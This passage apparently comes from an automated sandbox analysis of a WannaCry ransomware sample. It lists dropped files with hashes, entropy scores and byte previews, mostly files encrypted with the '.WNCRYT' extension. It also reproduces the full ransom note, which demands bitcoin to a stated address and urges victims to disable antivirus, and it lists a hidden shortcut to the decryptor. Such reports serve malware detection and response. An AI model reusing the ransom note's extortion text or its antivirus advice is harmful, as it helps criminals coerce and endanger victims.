                                      Preview:WANACRY!....w..%.!z........f....R...v#..e.|.O.p.n..X>Z9M.!p.$.d|.......&YC|hV.O..1..y.* #...9_..jz...N..36/?b....'...!.{..9r.3.....,..q.!*.1Y@...e...[.i..a.B..g60}e...S`z..k1..]s.Zt^>...4q....W...4.s.a/..R'.X.u$....N}Y.E...K.q..eT.-p'.IS..h....V..<u....)m1..............._.v..**>1........8&.bB..fK`7Pv...mV...8.p..........U2@e..5...C..&..5..i.].R......]{..#........t.?.J...t.V-XI...."....<.N.Gp.a..8....2..4.......6...+C.......RM..Q.r.iI...2..a.*..8|L.....tB...f.."N.\.....HT@..G../......Ie)..Z.(" ..h^.{M8`..h79.........#..J...7.{(_;T..-.#"#W....U.Q\.#h*23..K.c8...[...d...\.d..P..%).7-.H.8A..O..l...q.D...-....." j.41.o&.._DJ....>.IE6.|....v.....k2....yD).......+....q_.......d\5....W1e#.x..L..^.&...a..{Y....<-`Q9k...,..t....-..0....-a.....>.}.c...f..H.......C:?T.#98\.c...{m4u..5......X.|..|.-..&......D.cT...~.ia/...`.K..q,.~..6... .....#x....._.....'.e..=z.g.&....HsGy.{.|@._...Kc.........^l\.V}...L.{.....m...f....'..*w.

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2024-06-03.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1864
                                      Entropy (8bit):7.879321041064618
                                      Encrypted:false
                                      SSDEEP:48:bknAJCtdPrVAp2r2rPtE181G6xU58OZ7QW4z50qJ21:ovFrV4e1AG6xUc7w
                                      MD5:2C3870A5CE1925BA80694D58BD66724A
                                      SHA1:8AB8D03C16D66A73759D6291DDE1DB01F37464F9
                                      SHA-256:F38BACAC322DC36A1D2C0010F1EC71267726D4505E9EBB573D8ADB67719318CA
                                      SHA-512:BB51B9E011A004FD5441DD96E23F28B861720E5BB0E82B66C4782FDEC2EFC4793307CA3E56D91F652DF24893F224AD420EC769003B8C25888AFB8E7925CAB6BF
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....k.Qa..L....c.X.}.i.....J.8r.@a..).r..U.)...v...Y..J{...x`.<E.c..L...~..&.\.....T...J#p4T.qi....U.>.F.o7M....\..HQ.....6.. ..0.P#..\..U..eI.cN.(..-H....t...l.w.*...C+.H3..;i._...>r...PS.Z...ffD)3....J..$..Ub.l~...+./.'U..u6o2..l..(^{v"...._[{....#.............|L....|......FfnJ....*\.W:.......M.....T.'........l"us,..a.......i.@w..Dk.,.B.;...ifg._[..B*..s...D}$.._K..\{..j..d.....V.....2..\.6...i...L4..`...A1.7.$.+.E.zt....7...<x..iT..%b#........B..eV...}.cH...y.G.e......c......g..{*...........M.PT..Q.z..4.1.k.\.gE#.=..oj.f.at..."......j.v...Z)K}ts.I...d...E....K`.6E..E.X..3.{OP8.>`K.bke..&.....G.W^......J]U.....W.._F.z.wb..6....]..r.F..l......r...v.,..Od......]=.c.F..Te..SW....U.\k._\%h......Q.c,M.GG..PR.>y..x._.4...O..J..lh......&?......o.Z_3UoU.`eV._.......9y.yc.F.x.E.....wq.n..8D'.pM..V.MA.7.._.{7....\.&.b.B...+.?H.S......6f......U...,H..9./(.v..8.'..G._..#b.;....i.#...".`.....;..E#.....nB...<j.t..._.tp..D.....o9...r:..R._.B...zA.

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2024-06-19.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5912
                                      Entropy (8bit):7.966987757982364
                                      Encrypted:false
                                      SSDEEP:96:o0klgkSyRqkPhgngtRacC25YFCD1X04qYhpPUUKxzLt+ExU4nt5U5AAhdM6JX:NklgkSyRqkZ0qC2FDm4qYXUUKv6QXU5X
                                      MD5:DC8EF13794B0E6CA9685E70B54378AE4
                                      SHA1:CCF2707731771D8183B6C67DF085311886DD04EB
                                      SHA-256:D3AAC952CA1C27C0D1110543723DE12841E61FAAD29CB6E7D807162AFD271A85
                                      SHA-512:B2FAA7226F0AAFABFD2DA300FEB10EA19CAB12D4DF3D3D0CCC6A51A6E3C93CE76713B571147E25D2891C2AEB15B67600FD83F2B8A96A92585D897E91C43641A3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........rD.....[R.....p....S.h....K..iYo.........zx.R....C.I..k...V".N..G.m.M.K.LA..."N./...Y...Q.GFXT.....0X...........N.....-6.!_..x#[...uM*...>.[..N.8P,.F`...>...]..vJ.S.......Z.B)..m..U.E.F9f.$...~E"..).m..j.d.;e.zE.Cl......^.B..y.+C......./..................Q..JWj.....`.8.`..R...5...]...... .X.\&.~.f1F.Y.$.j....@.`"......Hm.. .E..J..1...W.c...K..?S.....c....;M....".p....-....;0..G....q.s.).Q.;v5..U..n-..ZM......(F\.e#C.n<.X..:..#.V.../.Qu]......o..RM...QrM]bN.;...{.....$D.<.3P..~.;...:....^?...y....O}....=H...<8..4..I./.Yz..}...#0.|....fy.../4D.=`..ip........=V.}...5\..B...r...0X...n.&n<+..`:.....,...F<I."..o.G.M6.Y..F.o..L=..\....'...*.@*..-.........3q..uD\\..{.@.)ER..7d1{@..B.........KzF. ..+w#......o...d..j..dD.......t.5...S......g?{..NODVn...7....s....3R..cl...f.........(........_7s.|"..FfS...s-...n..a.[.t.....q]15..;.j K......eIPZ..t..^..v....s.4..P.1....<O7.j6.X.7L.t,!..........h(.r..h.<..!...........`...*C?

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2024-06-20.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):14216
                                      Entropy (8bit):7.988556126310937
                                      Encrypted:false
                                      SSDEEP:384:MVFn7xwcuwK9IB/C/ZI3gnos8XoazNv/juVzS4DJuXPvMYQ:MVp70ONA8gnadBv/jizND8sYQ
                                      MD5:87CC43B041101B7F7517FE1239ADA820
                                      SHA1:CD228FF786A705565D6809B8318D3B1EA9F8099B
                                      SHA-256:88A53F14A7457FCDFDE3334B773295DE797F00215E2D4168E41401AFE11AC616
                                      SHA-512:753454B50E5511005F7ADEFF5A5AFACA18C8F9658BBD7F95A4E1CD80A81D883E2AE2725AFE9BAB61C02E67FBF36D1155F3D6E1C825856D0C2031FD515C149E06
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..../..i^..c.D,)...s.9......'1u0.:r..Z..Q4.%.'.S0$F!J...... x.O..mE-..D.3:....-7.;gur.tE.%.0.......#..?..?.}#.....&,o.f.4 kw_.......blj]...1=......._..2....9j.. .....4..Y.)].K...vXV...:2;...i.e.%@...>....n....8..Lh.{..k.G.....1.@:......o.Y.....l6..........F.7W`WQ.an....P.u..u..Gg.........T....ap...n=.VO.A...8...P0^.U.#w...Z.....rF]..o...;r..8:e.o..~+....G......)q..}w.f..a`<.......p...(. .%..............EX.'....}[.......^... +.K...1..5....hIf.pS..)6$D.:..9.#..%.W......?`..k..T.V....)..MR..'.yov..{e....R#W...=....y.Ml..{.....Qx..%J}8..[....8W...1xS....F.t9.r..5l....a././.....HR|/..._.......U.'y...).B..]1./...y+i.A........\.'!.^.....Q.Fx.(H.n:`....E\....M. ...b}.....'......y..VT.pAd....7...N..;.k...;.V.Q.U....T.+..@...a..CFA.wM..-......FC.r.']....q2...P.....hi...n....e.i...K|..|.$G.Pgt....b.....>.(.yol....).#.J.$...hG..g.V.o...&...K%|.3........r......F.........)DX.......1...%{s....RK..#..[ts....K..R.......sY..(@.p...*..~g..Bf.

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2024-07-25.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1032
                                      Entropy (8bit):7.797038223178265
                                      Encrypted:false
                                      SSDEEP:24:bk0fgB4tpqYgF0JqNmlGb5rQvSAl92Kr6yLSDN5cDlz19:bkpMpCtrQ392w4kB7
                                      MD5:286CAF7AF6960FFF5F18D079B22E644E
                                      SHA1:F8D55F349E793E62B1FD11103ADE39AC135AC57C
                                      SHA-256:B19B73A92EE209C3DDAD9172C7E7B8696468C9BDEDC31499E923024329D2B548
                                      SHA-512:2504E7C6430B8D0190EE48197CB2D41FD8F6447EC885CC7B2FD9A1C922A7C0CAC774B8EB2BE6CB63F52D3F374133A4AD7727D973EC338F99B9C4123A4F25B9B4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....L..B:.p.@.H:......hY.eT......e>9.k)f..... ./...R).#Q........)........#D#..${to&.tT.|&...|.OM...J.....m.T.1.....-4.X..mv.0...a]4..wA./.l..._......}.M..n......Y.D.:..........`.v.[.j..J.....[......;.H..n:/..L...8:...k.j5/......6/..~B._.,..............]...$.(...~..m'.......o,.>......|.....4...=...7.*v.....c<U...{...?....\.J'+...|..........v.tj...q.WX...+......If.v.._..Z$..V\. lv....a.%pM:Q.4.c.tk......y....].g..a.Bx.CK.Y...D.U...x.<*.S.iNKc"..5Q..~.. '..5......?R....0.a.M.b3@....O)..E.6..L......c.L.m.#m...z_[...*... ....\.. ....]..->>#5..E....>..~L.8X#..j....<D..I....L.Lk...QZ.IC....c..1.%..n.&...^.B.1F..e.,...6.".K;......`.BX.N0.x.+.\..J.n..0.#......;dG:._.M...0j2.v..d...[...).I...*z./.U..'.1....@.ns........=......]4U......z..W..>$zW5...CM..W...........f.2c...&dej.F.qJ^....I...H.d.;.t.S..w._....]...._A..'.u..".@.S...M..9...F{...?....uoJ!.b..y.bW.....>......?.1....u.x..l........G.~E...#....Uo....9......@h.Y.>...e.p..

                                      C:\ProgramData\Microsoft\AppV\Setup\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\ProgramData\Microsoft\AppV\Setup\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5256
                                      Entropy (8bit):7.963576617389412
                                      Encrypted:false
                                      SSDEEP:96:o5fxlp01uU3mP4NNKRPc0Irggsnb4uNvGHQN1Ap6fWI1W7H6lugFOBcSZJPHX20n:Gx01uimwiE0IrfslvGHuW8cH68pvu5G
                                      MD5:2A321CFA64B1D1E7FB6F6A45A6264E8B
                                      SHA1:0B6020D916E08151F2B20684A96305A48CCF9A2F
                                      SHA-256:35F951D7A131E1B1E00287AA51A0D78C381765AC702A21E69FB657489436A810
                                      SHA-512:3DFF03F157C877DD02E7C1A128BBD5D87664F72C5956EF3139DA7816FABFF291F18D4540392F2F9D15EBFDBA7A5FE6DAFE705E39B73B5F0B85D24C4418771D83
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....1....(.~{....Y.g..1.2....^Y}.k_X..YdtIVdA..[.aS8._n.MBu......./..~...i..'/S...K......&....."...R...6*.gn...F.....G..\P.J.D.....T;....o.......V."...}....D.k.~.......{......i..'.)..Q.8.T...S....[.$.I..V.8.u..G..J..8\'.Po....1..".*.@O.G.Y#..).6....h.........J..|..: .% k.m...Pv.J..Wp.@....Hc\Dk....$8v.(...b.u.....:O....MY..n...F...4.1../t.p..[,>#.....u.fHP-..h...........3.<.xJ.0b.{P0.^GhY!....^/.....}s..1_L..qUcT......F.CajeH.F+...[..$....q.)Y...T...E.U42*a...Z4.nw*c.-.p..>...wo.Q..Sd.......Eu..fo.i.q.."7k..T..&.{D...O.G..;@,.C.l......po#Y...i'..G6g.cBVM.K.>miu...J.S6~Og..t....#%.!..E...U.....3..7.|.}....^i...[..)..9.. o..:.-...2G.1?.:!...y.q.......#.....l...._!+.cdy..e.)o.....g.uw.,$...X...!.gr..w......UL.K..E..6...G[......ur{.9/ZxIX..y.....h.;..#...%..K...2.[..n._.@L..{<..a5.I?3....2cK....E....l._C...ZSC.wW.#.:.K]|...Ww..+.'7.....<.K....6=g.8.,T=. .p4.6Y]bXB...xAU.N.j.X..1N.k.....@LH@+..8...%D...u.?........a.dpD..3/.E..U...f...sxdG.#i.

                                      C:\ProgramData\Microsoft\ClickToRun\ProductReleases\46183AC3-59FF-4B8C-8BF8-6C3D1F20FAC7\en-us.16\stream.x64.en-us.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):548472
                                      Entropy (8bit):7.999624994385131
                                      Encrypted:true
                                      SSDEEP:12288:DkQBp9It949OjfEgL2mQyrbNb0l2DtT9Ib1H1esI+tzPk:YQ1OjMgVbXDrIbx1jpk
                                      MD5:B0F8DC8CAA7EA4C9EED2861C6C7BEFEB
                                      SHA1:715E6DBE0D2F6489A77EB256A450F74966E3B91D
                                      SHA-256:C5841415FFBC4545AF51CC399E5A33D90EA9692C6EB5442E3F218828855CA639
                                      SHA-512:1CDE2CBC0BD12F030A1B196BCB6B15CA83087876055999BA97CB9B5E7E4E797CA90C9110C8F083C8ED7DE31A95523367476394D652E7CF37BC058E1F5D58896C
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......5..'].^.{|.q...Z..(......c.$.R...v..r.<.h.0<5.e........|.J.qc.L.....v..<8......y..B..#k.cG....>....E.#.P....@.....k;w..[.e)....F.6..3...6......x.....i0.-.,L.n...`.*..j7..c..E.j.....&B..5.U..+.p..o.0...8.,..I..1*.....!....!..BtYD......6&.....(....Q].......uZ..........7a..t[uj.(.g.(...]...O.:oT$....@........f....vB.=&Y...|..cU...G..[W.;EgSu..~..F.b.AU.3m..E...&y....KPg2q.o..CI..=&C.?..J%..?.'.}....x...Zy1..V.........,w."f..c..s..=......G.....{\Z..8P..o"0..F.F]q.._n.:....../m..Q)...{vQ6..-..W..0.a.G.;0..r!.?YF.g...O.n~...:..._...Y.}x<,..=.....$[X..:vZ. .!..*.._W....r.iB{)-.Rp.*.h..R.....A.......3..w}\i..p..P.I.J*....s}..Nh..m..T...N.f................=...CHwm.aw..%.=.i....[...X..S..WGos..h..`....cW....Mo{....n.....p.._..46mA.W...q(..y.o..Ymr.l......?.L......y._........P...:...P..p|...67 .g...#..2.(S!...5...10...|.=f.z...UO..`...Q..Z.B.D....q.^e.a....3#.&......}B,f:..wu~k}. ...ry.....R+..X..M.Y.E.<F..A2.;w..q?.9(.....yD.j..

                                      C:\ProgramData\Microsoft\ClickToRun\ProductReleases\46183AC3-59FF-4B8C-8BF8-6C3D1F20FAC7\x-none.16\stream.x64.x-none.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):2972600
                                      Entropy (8bit):7.999934918767922
                                      Encrypted:true
                                      SSDEEP:49152:rN7gAOaSJbUAdosXjLWMmczWdT5mfyq6W901pO+Ooum8eT2yERMbWoF8Hwt+qjyM:ZGjVUAdoQnwZ+yNF1Q+Oo1XEUWoF8HwT
                                      MD5:8F88EA4768DA6F2E618C53D771E9AF9F
                                      SHA1:46390C68C127492CBC87CDD18BA2DEB609ADC680
                                      SHA-256:D19CE8F9557C37EC964E302C28FE05BE5B3DF7A3644A39E3F275BE29B31963F7
                                      SHA-512:4D606A3A557F26D0C89B272F68B344C3BFE6280EC0B21D0602E137C0A5476ABCC36965F2DC1D4155AE06B258CEB3810B6E40A1A18AC6BA4887D679685736DBFD
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....0....0....P......z.BL~[6....;.....6.v.nh0.i......w:.......x{.......$.s."...I.9.....)E..~}.)..fl.@P.G.[)t....3{;.-...R..L..........fW.<..;....iC$.W..s......X....]tL@..S#..._.h...$........)]J. ......A.M......o....w]...D=.||.D"G.-......*m.!.X.......Z-.....r.^.x...r|.-..<. ...g.S.. .8./..|(..5....d\2.O.B..$..\....r.r`L.di.3....R-.j.k.[.W.....G.c.j.-P.....,.%.N..V..h.c.2..w.#.*m0....Ib._.+K.mq4+.w.o...C=..q..2CC..}.K..y..d....j5GiE....g....~%.hH.Y6..L.$....:(.jv./c.Dh.Q.X.\>0......._.E....S>v..a..p6..L=......:r...QrA.<.F...!.P.~K1.....N.U.6,.=..yB.).OD&w.4..q..T.}n.Z...._..D.=....eiB..(..M..y.~......"r.I....=(?..w......1.m...~&...I.|..I...,v....+"tN.g..J....&....WC...Y..k....PQ.2?.H.U]u.=..1"....iV.43k...M.{........gW..................i.9.$..:W.E.../.5.3e..$..".d...s.,.r.R=.+..x..1>.........to.y1.|.^*.[..z3.XB.v...._.r....p4..k..n.S.A.&.:.l....`.q#<.O!.....s....I ..)*-..+.0U..;....;....J..P.@.y. Fl.c..WB..I.f...+YB-.X..T.

                                      C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):130040
                                      Entropy (8bit):7.998660790787194
                                      Encrypted:true
                                      SSDEEP:3072:kwWQZDff0ZdsOZ0eM4eS3fyI/ymGUyVnkiRB4Vms3hk:/zEZyS0eMPS3aI/fEdaV3hk
                                      MD5:D0C170D96DFAF7BF7805F9EB82D8B45C
                                      SHA1:95C99AE7542A596B3DAE9A5D356623F99606A8F0
                                      SHA-256:02F7A3FFF8ECF59BA85506B8F787EA26CFC92B2A6E55B150B270241447B27ACC
                                      SHA-512:A8134331BC9DA76CFEC2795E186454947EE006EEDB7009BAFA9081BA55509C9DC380A1BBFAA5F32B9AE668F48E7791C687DCB73ADC1258DBBBA6B0AFDBC79F9D
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....}..?.+....J.c,..F..g+T..7...$.l.. G..6.^....E.R..+......|.....E....:.1..E..Vj........k..1.F..E..@....#[...y...+V..ts....#e.u..7a......-...(l.-....c....Is.../R........'M.u...R....s..e.........`o..FE.)..,.OT..n.Ia%......T.H......H... ..a..U.H.............qX..n0 g....C..u..@.d.t...*:.....C.K.D..38.>...O..X.,..N....$...eG/..i....+.#x.Qb#.p+Q9\uI(Ba..x.\...2...&$.z...W...UCn..h.-.K.lt.....bP-)..K....:.WaE....l.....N.3..)A8..#`..dl..h..>..........X0.Z...,..L.....Ji\v.j....*'B.W...X:U.j`x.v....x..M&.......B..l3h..m.X[..K.:..bG ........G0.8.$z..#.9.zh.a.i....D0..W. q..Y^R..x..<m.....F.....|u..b....h...2.;/3...O.?.\..sC.8..OT..df.#,nE...&).\j.G..0..{V..*.".+\h.E.ck.._..N.Z-...5..t....1.7...y..!.h..?.....*}.W..R......U`.9!..v.I...G....;.(....Fu..z....@..M.9.c[.f.(..{.0...|.....p].N..........,@......(..Yq...9.T...t...FvCD3~.q......U.1...y.z....A.{WS?4...K.......S.*.nEy.+.ia..WkE&J...J3;.M....3.2....V..S.<...U...sW.2$i.l.p.m ....-.\.

                                      C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):44776
                                      Entropy (8bit):7.9951415306440285
                                      Encrypted:true
                                      SSDEEP:768:Vv68UbdauwnJyDvy4ZVIMSgM6ZnQlG/7G12SjqN+zpZkin75j6w2jE1A:Vv6RbEoDL5Wg/7gwN2ZB7MZ
                                      MD5:6C6706D2D7FA066F7B0766D3C0963582
                                      SHA1:6E1401491CFEB8F5E5F6337E90F38FF5FBE25B72
                                      SHA-256:03207A4E5525DE80D15BAB8C41E209232CEC8EA2B378A633896BF5868690F8FA
                                      SHA-512:72DB8EA8EC70A05710F5AB70F99AA1047459FD812FDA88F7826D7F854ABD68AAD5B611AFCBBAAEB5D45EF14B7264B553C725B9468C2CBCFE476B47BE10544B2E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......E]`...M...S.^....xl..?.."..EC...1..#..;..R..RV...dk...m..]...&..#.T0..Gcd....L..g.d.ag...pU6.....^..R.......KhBk....\...[.0...."......*......Tb.,...Z.l:..k.3W.........G...........%...L_..0...6...>.x...RY....#M.....%..a...~Tn....A...I.iiKt....?...........\YR.!f.f..1..s..=1....b&..jR.;B.......C...VJ...f..F...T!.........m...-s..B.>.Kym.k6.S.U[.{..Zh..1..Dy..XO.....:3..g.I.f.!.CG.4.y"y.;V.j...er.~....)..S.....->.....;P....&.~.v..x..N...e.#...S&.e..O/.D/.m.U...B3...,....Xa.C.w.a.d].f3M..4.8..!...@E..(mY.C.)...W.w,.4.......j".1.p.'=...C..r..o..D..D........s......|.5...C.8..^.2W..<..R..).Y.~T...hi.8X6..;......5..&..'....$.-O"...Gt..U..c.5..r.UD...5....qH.d..{.)....Rk@..!...5.V........h.n5..v4.|y....>.2.J.9..3.b.......?.Z.....(........I.nk....DJ.Gh...W8s..d.R.35..)..X.P.....l."...L.,.........k3.Q..\w...P....S.q..nx.F.=.`.f.hP..#\.Fg...a..."Ehuac.?.{w>t..O.X!.......>.p....../D..;.......z.t.....)a..[...=...a.......]w.(6#.:F9..>..g.Z....

                                      C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):29160
                                      Entropy (8bit):7.99400040218579
                                      Encrypted:true
                                      SSDEEP:768:javjeFOKFkEBnukI1oeIci2Z37cEBtqTODyh1a+uqF9x3kut3oZRJ6:mvMyEZyo9cd7cWn+hBaZRA
                                      MD5:BFBFD77BCC28EAA3BFEB6B8A00087638
                                      SHA1:A52B6A0E1F1B18CFD95534393FD96767A8EC0B42
                                      SHA-256:37A51233C48E5F393C2C5B8DA562892A5AEF31FF2FD4D9CDB8355877F0C0EF49
                                      SHA-512:AF9007E246E975903BA7F2CB6A5CE87B28B53900C82F22827F9274CCED0F026BBDFFC9B61E66A89B136E2A2D28B8146757EE73F5F790CB5E7A7B03BAC3322F11
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......Y..<..-Tn+../...k..8..q..c......g....G..k...?..]/.]A1...Z|b.a....C.M%.b.j..y./..L.b.........j...w@!K.pxN...k.%.q7.D.Cp6..D.4....*-Q....4.o.e.....D.:.....a.1........I.uN.F.T4..)d.^...*.n...}Y.L,.Oqp.....El.'........>.J.8Y.'........./.,.^.l. ]-.....p......7...8$r.%......w{p6.!.G.4F...%N.i....MrpXYT;k./..o'eM...N.'7zD.m!.g9..K2F+v.,.....~./..w8.........P.......2.z.z;........0.Z.=/..bmK...P?...#.j?.Q.GM"..u.u4 ...{...._)V."}in.....d+.d..Cp..?<.?.JF.......b.V;...i..o.)..&.R)3&{....MG..m.......j..3.......)........W)....Y.S....&.2 .O.....g.Xy..L.b...c9.rq..Np.2l.J...3.-......x.&......._X(..''.hWO..[To...k...#..N..L@k..{.r.f..o....:..v..X[..*.p...;..T!d.,9....]...%...P...T.6`.....2.3.....q).xu#...Y..u.&..dT..2@...o^S...g.....3.qT.Q.}......T=....&K.7.M...A".I....6|...^..z...pw..g.|T9.m.......:.....a....N.........:...]..z....b.8....Y*..8.p._.....9...F.Z..?..P6X....(.O..........]i....Wj...s.....&.xl...2.g5zR.We+....k..Y?...d......

                                      C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):39672
                                      Entropy (8bit):7.994918661041385
                                      Encrypted:true
                                      SSDEEP:768:ah0bfWCa49sNJVEnboS56Ap+ORl7PgyQLSEUkDMs7rVZlSWoe7Ep3aGcG5MCI:KA1sNJ+nUcd+AkyQLSExAISWoe7XGx52
                                      MD5:0DF6F6EC68C2D4689C819F1433E2AD0F
                                      SHA1:7A9E1A3C8BF58D8AE67CDD4B65A58C23AF505ABC
                                      SHA-256:4FFB1B087F1DEF4FB2E4439A67454CBC9044A9186E29AB4F16E2FF0D739105EE
                                      SHA-512:A07230672DB2DBED67B91C42FABBE76999D1B3BA203DFD4D079EAAE2EDB75FA69A15CF5142FAAB6C4E9A419C29FF3C03BB89AABED7A225D772A3721C008231FB
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....|C....Pq..^..m.#............`..l.....e.!t6..2o."5q,...^..H1.F.c.<......L..Z.,*]%Fc...F..L.d....kG.KZ.p..@.z.....6...=L.bR._....E........2...*7.(..e.4.`P .Ig..,...Wh.....tl.R.ik..d<..V.<...>tt......r.s-.......P...UO&...d..I...F"....,....GD....|..............f.^ .|..Uk.?mPP.d.T........2..F..&....#7U.:.....<&}5#....Y....I.n...R. P8.j.".....!G.@..b....c.....E. ...p.5>.Hh........@.v..L.U.2q....I.....<.m...s.0b{Yq..[...X...q.'.r.tHs..IV.ulL..h.B...cE....8....S..N8....Z.=VgD..._.L`..(ts.T..8...sx.... .`......=@@a.h....m+.P. A.....#.v6.\N.....tE<?.....#.e.QN.by....r..O.c.........;..i7....|....L..F.G.s..P"..,.*..d.~a4....J.J..A..z..`...o..m8.k=Y]...W..I....O..,.T.s.n..~._.b."A...l].C7!`Ab...T.d]...~.`.......mcb)Pb.Tj\.K.z.J...>z.!r4W..S\.A...&.V.L....Qw.}h`..m.$..b...T..=p>.ZLe........R..'we.g...:.'7.=(.7L.>m.D.{....#.nSB%...y..XR....U.{.%\O..IH.n......jv...)M....?.i.;.N.t.........OE.@G{E..S.....Y.A.....p..I..)?...........}M...;O.=....

                                      C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):130040
                                      Entropy (8bit):7.998392032320104
                                      Encrypted:true
                                      SSDEEP:3072:fBjqRLry3r8dws3Iw/g6zuCQuDPCj1tIFa:fr3Adws3IgCCQuDPCoa
                                      MD5:714DD07222BDA8CF7EBE7D4F9F34E4E1
